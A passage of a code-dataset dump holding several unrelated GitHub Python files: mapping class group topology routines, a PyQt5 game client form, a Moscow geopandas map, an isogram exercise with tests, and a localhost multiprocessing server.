Symbol('w'), Symbol('Z'))\n if t == Symbol('X'):\n return (Symbol('z'), Symbol('W'), Symbol('X'))\n if t == Symbol('Y'):\n return (Symbol('z'), Symbol('W'), Symbol('Y'))\n else:\n return(t)\n \ndef d(t):\n #input as a symbol\n if t == Symbol('w'):\n return (Symbol('Y'), Symbol('w'))\n if t == Symbol('W'):\n return (Symbol('W'), Symbol('y'))\n else:\n return(t)\n \ndef e(t):\n #input as a symbol\n if t == Symbol('y'):\n return (Symbol('w'), Symbol('y'))\n if t == Symbol('Y'):\n return (Symbol('Y'), Symbol('W'))\n else:\n return(t)\n \ndef A(t):\n #input as a symbol\n if t == Symbol('x'):\n return (Symbol('z'), Symbol('x'))\n if t == Symbol('X'):\n return (Symbol('X'), Symbol('Z'))\n else:\n return(t)\n \ndef B(t):\n #input as a symbol\n if t == Symbol('z'):\n return (Symbol('X'), Symbol('z'))\n if t == Symbol('Z'):\n return (Symbol('Z'), Symbol('x'))\n else:\n return(t)\n \ndef C(t):\n #input as a symbol\n if t == Symbol('x'):\n return (Symbol('x'), Symbol('z'), Symbol('W'))\n if t == Symbol('y'):\n return (Symbol('y'), Symbol('z'), Symbol('W'))\n if t == Symbol('X'):\n return (Symbol('w'), Symbol('Z'), Symbol('X'))\n if t == Symbol('Y'):\n return (Symbol('w'), Symbol('Z'), Symbol('Y'))\n else:\n return(t)\n\ndef D(t):\n #input as a symbol\n if t == Symbol('w'):\n return (Symbol('y'), Symbol('w'))\n if t == Symbol('W'):\n return (Symbol('W'), Symbol('Y'))\n else:\n return(t)\n \ndef E(t):\n #input as a symbol\n if t == Symbol('y'):\n return (Symbol('W'), Symbol('y'))\n if t == Symbol('Y'):\n return (Symbol('Y'), Symbol('w'))\n else:\n return(t)\n \ndef ListOp(f, L):\n l = [f(v) for v in L]\n return(l)\n\ndef SlowReduce(word):\n #reduces a word in the mapping class group only so far as killing elements and their inverses when next to one another\n x, y, z, w, X, Y, Z, W = symbols('x, y, z, w, X, Y, Z, W')\n kill_list = [(x, X), (y, Y), (z, Z), (w, W), (X, x), (Y, y), (W, w), (Z, z)]\n bad_indices = []\n for i in range(len(word) - 1):\n elt = word[i]\n next_elt = word[i+1]\n if (elt, next_elt) in kill_list:\n bad_indices.append(i)\n bad_indices.append(i+1)\n i+=2\n wanted_indices = [i for i in range(len(word)) if i not in bad_indices]\n reduced_word = [word[i] for i in wanted_indices]\n return(reduced_word)\n\ndef CyclicReduce(word):\n #continues on from SlowReduce to cyclically reduce the word\n x, y, z, w, X, Y, Z, W = symbols('x, y, z, w, X, Y, Z, W')\n kill_list = [(x, X), (y, Y), (z, Z), (w, W), (X, x), (Y, y), (W, w), (Z, z)]\n word = SlowReduce(word)\n length = len(word) - 1\n while (word[length], word[0]) in kill_list:\n word = [word[i] for i in range(1, length)]\n length -= 2\n return(word)\n\ndef FullClean(word):\n #gets rid of unnecessary symbols in a word in the MCG for the purposes below. We can disregard the letters z,w,Z,W by...\n #a result I proved\n x, y, z, w, X, Y, Z, W = symbols('x, y, z, w, X, Y, Z, W')\n word = [v for v in word if v == x or v == y or v == X or v == Y]\n\n new_word = CyclicReduce(word)\n return(new_word)\n\ndef map_to_vecs(word):\n #maps a word in the MCG to their corresponding vectors as used by Thurston\n x, y, z, w, X, Y, Z, W = symbols('x, y, z, w, X, Y, Z, W')\n word = FullClean(word)\n list_of_vecs = []\n for elt in word:\n if elt == x:\n list_of_vecs.append([1,0])\n if elt == y:\n list_of_vecs.append([0,1])\n if elt == X:\n list_of_vecs.append([-1,0])\n if elt == Y:\n list_of_vecs.append([0,-1])\n new_list = [np.asarray(v) for v in list_of_vecs]\n return(new_list)\n\ndef ReduceList(L):\n \n reduced_list = []\n for element in L:\n if isinstance(element, tuple):\n for val in element:\n reduced_list.append(val)\n else:\n reduced_list.append(element)\n return reduced_list\n\ndef DehnOnCurve(L, gamma):\n #gives reusult of action of a sequence of Dehn twists (given by a word in the MCG) on a curve on the surface\n for func in L[::-1]: \n gamma = SlowReduce(ReduceList(ListOp(func, gamma)))\n print(gamma)\n return(map_to_vecs(gamma))\n\n \ndef MarkedList(L):\n #gives list of the marked vertices\n pts = WalkOnList(L)\n M = []\n for v in pts:\n check = 0\n for w in pts:\n if w == v:\n check += 1\n if check == 1:\n M.append(v)\n return(M) \n \n\ndef DualUnitBall(L):\n #produces the dual unit ball for an element of the MCG\n pts = WalkOnList(L)\n newpts = np.asarray(pts)\n hull = ConvexHull(newpts)\n poly = MultiPoint(pts).convex_hull\n MD = []\n for i in hull.vertices:\n vertex = np.asarray(pts[i])\n neighbours = [vertex + (0,1), vertex + (1,1), vertex + (1,0), vertex + (1,-1), vertex + (0,-1), vertex + (-1,-1), vertex + (-1,0), vertex + (-1,1)]\n a1 = Point(tuple(neighbours[0]))\n a2 = Point(tuple(neighbours[1]))\n a3 = Point(tuple(neighbours[2]))\n a4 = Point(tuple(neighbours[3]))\n a5 = Point(tuple(neighbours[4]))\n a6 = Point(tuple(neighbours[5]))\n a7 = Point(tuple(neighbours[6]))\n a8 = Point(tuple(neighbours[7]))\n if poly.intersects(a1):\n if poly.intersects(a2) and poly.intersects(a3):\n MD.append(vertex + (0.5, 0.5))\n if poly.intersects(a7) and poly.intersects(a8):\n MD.append(vertex + (-0.5, 0.5))\n if poly.intersects(a5):\n if poly.intersects(a3) and poly.intersects(a4):\n MD.append(vertex + (0.5, -0.5))\n if poly.intersects(a6) and poly.intersects(a7):\n MD.append(vertex + (-0.5, -0.5))\n return(MD)\n \ndef DualMarkedVertices(L):\n #produces marked vertices for the DUAL unit ball for an element of the MCG\n DM = []\n marked = MarkedList(L)\n for v in DualUnitBall(L):\n nbs = [v + (0.5, 0.5), v + (0.5, -0.5), v + (-0.5, -0.5), v + (-0.5, 0.5)]\n for i in range(3):\n if tuple(nbs[i]) in marked:\n DM.append(v)\n break\n return(DM)\n\ndef MCG_to_unitball(L, gamma):\n #produces the dual unit ball for the result of a sequence of Dehn twists on a surface curve\n return(DualUnitBall(DehnOnCurve(L, gamma)))\n\ndef DualWithMarked(L, gamma):\n #plots the marked dual unit ball for the result of a sequence of Dehn twists on a surface curve\n verts = np.array(DehnOnCurve(L, gamma))\n marked = np.array(DualMarkedVertices(verts))\n \n hull2 = ConvexHull(verts)\n plt.plot(verts[:, 0], verts[:,1], 'o')\n for simplex in hull2.simplices:\n plt.plot(verts[simplex, 0], verts[simplex, 1], 'k-')\n plt.scatter(marked[:, 0], marked[:, 1], 'o')\n plt.show()\n", "repo_name": "HarryGlbn/TopoProject", "sub_path": "Marked dual ball code.py", "file_name": "Marked dual ball code.py", "file_ext": "py", "file_size_in_byte": 8566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "operator.add", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 20, "usage_type": "call"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "sympy.symbols", "line_number": 27, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 33, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 34, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 35, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 36, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 42, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 43, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 44, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 45, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 51, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 52, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 53, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 54, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 55, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 56, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 57, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 58, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 64, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 65, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 66, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 67, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 73, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 74, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 75, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 76, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 82, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 83, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 84, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 85, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 91, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 92, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 93, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 94, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 100, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 101, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 102, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 103, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 104, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 105, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 106, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 107, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 113, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 114, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 115, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 116, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 122, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 123, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 124, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 125, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 135, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 151, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 163, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 222, "usage_type": "call"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 223, "usage_type": "call"}, {"api_name": "shapely.geometry.MultiPoint", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 227, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 229, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 230, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 231, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 232, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 233, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 234, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 235, "usage_type": "call"}, {"api_name": "shapely.geometry.Point", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 268, "usage_type": "call"}, {"api_name": "scipy.spatial.ConvexHull", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}]} {"seq_id": "21044197255", "text": "from forms.basic_form import BasicForm\nfrom game.board import Board\n\nimport logging\n\nfrom PyQt5.QtWidgets import QGridLayout, QHBoxLayout, QVBoxLayout\nfrom PyQt5.QtWidgets import QWidget, QLabel, QListWidget, QLineEdit, QPushButton\n\nfrom PyQt5.QtCore import Qt\n\n\nclass Game(BasicForm):\n def __init__(self, container_widget: QWidget):\n super().__init__()\n\n self.container_widget = container_widget\n self.window = container_widget.window()\n\n self.container = QHBoxLayout()\n\n self.board_wrapper = QGridLayout()\n self.board_wrapper.setSpacing(0)\n self.board_wrapper.setAlignment(Qt.AlignmentFlag.AlignAbsolute)\n\n self.game_info_wrapper = QVBoxLayout()\n self.game_info = QVBoxLayout()\n\n # some actions player can perform\n self.game_actions = QVBoxLayout()\n\n self.game_chat = QListWidget()\n self.game_chat.setMaximumWidth(200)\n\n self.message_input = QLineEdit()\n self.message_input.setMaximumWidth(200)\n self.message_input.setPlaceholderText('Enter message')\n self.send_button = QPushButton('Send message')\n self.send_button.clicked.connect(self.send_message)\n self.end_game_button = QPushButton('Vote to end game')\n self.end_game_button.clicked.connect(self.end_game)\n\n self.game_actions.addWidget(self.game_chat)\n self.game_actions.addWidget(self.message_input)\n self.game_actions.addWidget(self.send_button)\n self.game_actions.addWidget(self.end_game_button)\n\n # game info\n self.active_player_label = QLabel('Current player')\n self.turn_number_label = QLabel('Turn #')\n self.player1_points_label = QLabel('Your points: 0')\n self.player2_points_label = QLabel(f'Your opponents\\' points: 0')\n self.game_status = QLabel('Game is in progress')\n self.winner_label = QLabel('')\n self.stats_label = QLabel('Your stats:')\n self.wins_label = QLabel('Wins: ')\n self.losses_label = QLabel('Losses: ')\n self.draws_label = QLabel('Draws: ')\n\n self.game_info.addWidget(self.active_player_label)\n self.game_info.addWidget(self.turn_number_label)\n self.game_info.addWidget(self.player1_points_label)\n self.game_info.addWidget(self.player2_points_label)\n self.game_info.addWidget(self.winner_label)\n self.game_info.addWidget(self.game_status)\n self.game_info.addWidget(self.stats_label)\n self.game_info.addWidget(self.wins_label)\n self.game_info.addWidget(self.losses_label)\n self.game_info.addWidget(self.draws_label)\n self.game_info.setAlignment(Qt.AlignmentFlag.AlignRight)\n self.game_info.setContentsMargins(0, 0, 50, 20)\n\n self.game_info_wrapper.addLayout(self.game_info)\n self.game_info_wrapper.addLayout(self.game_actions)\n\n self.container.addLayout(self.board_wrapper)\n self.container.addLayout(self.game_info_wrapper)\n\n self.event_handlers = {\n \"update\": lambda x: x,\n \"message\": lambda x: x,\n \"end_game\": lambda x: x,\n \"get_stats\": lambda x: x\n }\n\n # setup game board\n self.player = \"\"\n self.opponent = \"\"\n self.board = None\n\n self.voted_to_end = False\n\n def show(self):\n self.container_widget.layout().addLayout(self.container)\n\n def set_stats(self, stats: tuple[int]):\n self.wins_label.setText(f'Wins:{stats[0]}')\n self.losses_label.setText(f'Losses: {stats[1]}')\n self.draws_label.setText(f'Draws:{stats[2]}')\n\n def set_player(self, name):\n self.player = name\n\n def set_opponent(self, name):\n self.opponent = name\n\n self.player2_points_label.setText(f'{self.opponent}s\\' points: 0')\n\n def send_message(self):\n message = self.message_input.text()\n\n self.event_handlers['message'](message)\n\n def set_game_status(self, status):\n self.game_status.setText(status)\n\n def end_game(self):\n self.voted_to_end = not self.voted_to_end\n\n if not self.voted_to_end:\n self.game_chat.addItem('You\\'re no longer voting to end the game')\n self.event_handlers['end_game']('unleave')\n else:\n self.game_chat.addItem('You voted to end the game')\n self.event_handlers['end_game']('leave')\n\n def setup_board(self, size: int = 10):\n self.board = Board(size)\n\n self.board.set_event_handler(\"button_pressed\", self.on_push)\n self.board.set_event_handler(\"active_player_toggled\", self.on_player_toggle)\n self.board.set_event_handler(\"new_turn\", self.on_new_turn)\n self.board.set_event_handler(\"point\", self.on_point_update)\n\n def draw_board(self):\n self.board.draw(self.board_wrapper)\n\n def set_winner(self, winner):\n self.winner_label.setText(winner)\n\n def set_event_handler(self, event_name, callback):\n if event_name in self.event_handlers:\n logging.debug(f'set a handler for event {event_name}')\n self.event_handlers[event_name] = callback\n\n def on_push(self, pos: tuple):\n print('push')\n \"\"\"This function raises an \"event\" and update when a button on the board is pushed\"\"\"\n self.event_handlers[\"update\"](pos)\n\n def on_player_toggle(self, b: Board):\n \"\"\"This function sets correct text for the labels\"\"\"\n if b.active_player:\n self.active_player_label.setText('Your turn')\n else:\n self.active_player_label.setText(f'{self.opponent}s\\' turn')\n\n def on_new_turn(self, b: Board):\n \"\"\"This function sets correct text for the labels\"\"\"\n self.turn_number_label.setText(f'Turn #{b.turn}')\n\n def on_point_update(self, b: Board):\n \"\"\"This function sets correct text for the labels\"\"\"\n self.player1_points_label.setText(f'Your points: {b.player1_points}')\n self.player2_points_label.setText(f'{self.opponent}s\\' points: {b.player2_points}')\n\n def update(self, pos: tuple):\n if self.board is not None:\n self.board.push(pos)\n\n def update_chat(self, update):\n self.game_chat.addItem(update)\n self.game_chat.scrollToBottom()\n\n", "repo_name": "Jarki/networking_game_client", "sub_path": "forms/game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 6228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "forms.basic_form.BasicForm", "line_number": 12, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignmentFlag", "line_number": 23, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 23, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 25, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QListWidget", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 39, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 49, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 56, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignmentFlag", "line_number": 69, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 69, "usage_type": "name"}, {"api_name": "game.board.Board", "line_number": 127, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 142, "usage_type": "call"}, {"api_name": "game.board.Board", "line_number": 150, "usage_type": "name"}, {"api_name": "game.board.Board", "line_number": 157, "usage_type": "name"}, {"api_name": "game.board.Board", "line_number": 161, "usage_type": "name"}]} {"seq_id": "2254883661", "text": "import matplotlib.pyplot as plt\nimport geopandas as gpd\nimport descartes\n\n\ndef fill_zero(a):\n if len(a) < 3:\n return fill_zero(\"0\" + a)\n else:\n return a\n\n\ndata = gpd.read_file(\"https://video.ittensive.com/python-advanced/moscow.json\")\ndata = data.to_crs({'init': 'epsg:3857'})\ndata[\"ID\"] = range(1, len(data)+1)\ndata[\"Title\"] = data[\"ID\"].astype(str).apply(\n fill_zero) + \": \" + data[\"NAME\"].astype(str)\nfig = plt.figure(figsize=(20, 16))\narea = plt.subplot(1, 1, 1)\ndata.plot(\n ax=area, legend=True, column=\"Title\", linewidth=0.5, cmap=\"tab20\",\n legend_kwds={\n \"ncol\": 3, \"bbox_to_anchor\": (0, 1.005, 0.1, 0), \"fontsize\": 11\n })\nfor _, adm in data.iterrows():\n area.annotate(adm.ID, xy=(adm.geometry.centroid.x, adm.geometry.centroid.y))\nplt.show()\n", "repo_name": "T-Centr/data_visualization", "sub_path": "Гео_данные и картограммы/Картограмма с подписями.py", "file_name": "Картограмма с подписями.py", "file_ext": "py", "file_size_in_byte": 792, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "geopandas.read_file", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}]} {"seq_id": "7064245793", "text": "'''\nExercise: Isogram\nURL: https://exercism.org/tracks/python/exercises/isogram\n\nInstructions\n\nDetermine if a word or phrase is an isogram.\n\nAn isogram (also known as a \"non-pattern word\") is a word or phrase without a repeating letter, however spaces and hyphens are allowed to appear multiple times.\n\nExamples of isograms:\n\n lumberjacks\n background\n downstream\n six-year-old\n\nThe word isograms, however, is not an isogram, because the s repeats.\n'''\n\nfrom helper import display_task_name, display_example\n\ndef is_isogram(string: str) -> bool:\n *list_of_letters, = string.lower()\n \n for letter in list_of_letters:\n\n # Skip '-' or the space between the words\n if letter == \"-\" or letter == \" \":\n continue\n \n elif list_of_letters.count(letter) > 1:\n return False\n \n return True\n\n\n\n\n\n\n\n\n# Test 1\ndisplay_task_name(\"I\", \"Isogram > empty string\")\ndisplay_example(\n 'is_isogram(\"\")',\n 'True'\n)\nprint(is_isogram(\"\"), \"\\n\")\n\n\n\n# Test 2\ndisplay_task_name(\"II\", \"Isogram > isogram with only lower case characters\")\ndisplay_example(\n 'is_isogram(\"isogram\")',\n 'True'\n)\nprint(is_isogram(\"isogram\"), \"\\n\")\n\n\n\n# Test 3\ndisplay_task_name(\"III\", \"Isogram > word with one duplicated character\")\ndisplay_example(\n 'is_isogram(\"eleven\")',\n 'False'\n)\nprint(is_isogram(\"eleven\"), \"\\n\")\n\n\n\n# Test 4\ndisplay_task_name(\"IV\", \"Isogram > word with one duplicated character from the end of the alphabet\")\ndisplay_example(\n 'is_isogram(\"zzyzx\")',\n 'False'\n)\nprint(is_isogram(\"zzyzx\"), \"\\n\")\n\n\n\n# Test 5\ndisplay_task_name(\"V\", \"Isogram > longest reported english isogram\")\ndisplay_example(\n 'is_isogram(\"subdermatoglyphic\")',\n 'True'\n)\nprint(is_isogram(\"subdermatoglyphic\"), \"\\n\")\n\n\n\n# Test 6\ndisplay_task_name(\"VI\", \"Isogram > word with duplicated character in mixed case\")\ndisplay_example(\n 'is_isogram(\"Alphabet\")',\n 'False'\n)\nprint(is_isogram(\"Alphabet\"), \"\\n\")\n\n\n\n# Test 7\ndisplay_task_name(\"VII\", \"Isogram > word with duplicated character in mixed case lowercase first\")\ndisplay_example(\n 'is_isogram(\"alphAbet\")',\n 'False'\n)\nprint(is_isogram(\"alphAbet\"), \"\\n\")\n\n\n\n# Test 8\ndisplay_task_name(\"VIII\", \"Isogram > hypothetical isogrammic word with hyphen\")\ndisplay_example(\n 'is_isogram(\"thumbscrew-japingly\")',\n 'True'\n)\nprint(is_isogram(\"thumbscrew-japingly\"), \"\\n\")\n\n\n\n# Test 9\ndisplay_task_name(\"IX\", \"Isogram > hypothetical word with duplicated character following hyphen\")\ndisplay_example(\n 'is_isogram(\"thumbscrew-jappingly\")',\n 'False'\n)\nprint(is_isogram(\"thumbscrew-jappingly\"), \"\\n\")\n\n\n\n# Test 10\ndisplay_task_name(\"X\", \"Isogram > isogram with duplicated hyphen\")\ndisplay_example(\n 'is_isogram(\"six-year-old\")',\n 'True'\n)\nprint(is_isogram(\"six-year-old\"), \"\\n\")\n\n\n\n# Test 11\ndisplay_task_name(\"XI\", \"Isogram > made up name that is an isogram\")\ndisplay_example(\n 'is_isogram(\"Emily Jung Schwartzkopf\")',\n 'True'\n)\nprint(is_isogram(\"Emily Jung Schwartzkopf\"), \"\\n\")\n\n\n\n# Test 12\ndisplay_task_name(\"XII\", \"Isogram > duplicated character in the middle\")\ndisplay_example(\n 'is_isogram(\"accentor\")',\n 'False'\n)\nprint(is_isogram(\"accentor\"), \"\\n\")\n\n\n\n# Test 13\ndisplay_task_name(\"XIII\", \"Isogram > same first and last characters\")\ndisplay_example(\n 'is_isogram(\"angola\")',\n 'False'\n)\nprint(is_isogram(\"angola\"), \"\\n\")\n\n\n\n# Test 14\ndisplay_task_name(\"XIV\", \"Isogram > word with duplicated character and with two hyphens\")\ndisplay_example(\n 'is_isogram(\"up-to-date\")',\n 'False'\n)\nprint(is_isogram(\"up-to-date\"), \"\\n\")", "repo_name": "vslayer34/Exercism-Python", "sub_path": "06_Strings/03_Isogram.py", "file_name": "03_Isogram.py", "file_ext": "py", "file_size_in_byte": 3554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "helper.display_task_name", "line_number": 45, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 46, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 55, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 56, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 65, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 66, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 75, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 76, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 85, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 86, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 95, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 96, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 105, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 106, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 115, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 116, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 125, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 126, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 135, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 136, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 145, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 146, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 155, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 156, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 165, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 166, "usage_type": "call"}, {"api_name": "helper.display_task_name", "line_number": 175, "usage_type": "call"}, {"api_name": "helper.display_example", "line_number": 176, "usage_type": "call"}]} {"seq_id": "13962253092", "text": "from multiprocessing.connection import Listener\nfrom threading import Thread\nfrom multiprocessing import Process\nfrom queue import Queue\nimport threading\nimport hashlib\nimport worker\n\n\ndef make_worker():\n\n while True:\n worker_proc = Process(target=worker.worker)\n worker_proc.start()\n worker_proc.join()\n\n\ndef commander_handler(conn):\n\n coneccted = True\n\n while coneccted:\n try:\n path = conn.recv()\n path_list.put(path)\n\n except (EOFError , ConnectionResetError):\n coneccted = False\n print(\"conection lost\")\n\n\ndef worker_handler(conn):\n\n while True:\n while path_list.qsize()>=5:\n p = []\n\n for i in range(t):\n p.append(path_list.get())\n\n conn.send(p)\n\n r = path_list.qsize()%t\n if r:\n p = []\n\n for i in range(r):\n p.append(path_list.get())\n\n conn.send(p)\n\n\nif __name__ == \"__main__\":\n\n address = ('localhost', 6000)\n listener = Listener(address)\n\n path_list = Queue()\n t = 5\n\n for i in range(t):\n Thread(target=make_worker).start()\n\n while True:\n conn = listener.accept()\n massage = conn.recv()\n \n if massage == \"worker\":\n Thread(target=worker_handler, args=[conn]).start()\n\n elif massage == \"client\":\n Thread(target=commander_handler, args=[conn]).start()\n\n conn.close()\n", "repo_name": "nima2002sh/OS_Project", "sub_path": "project/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1464, "program_lang": 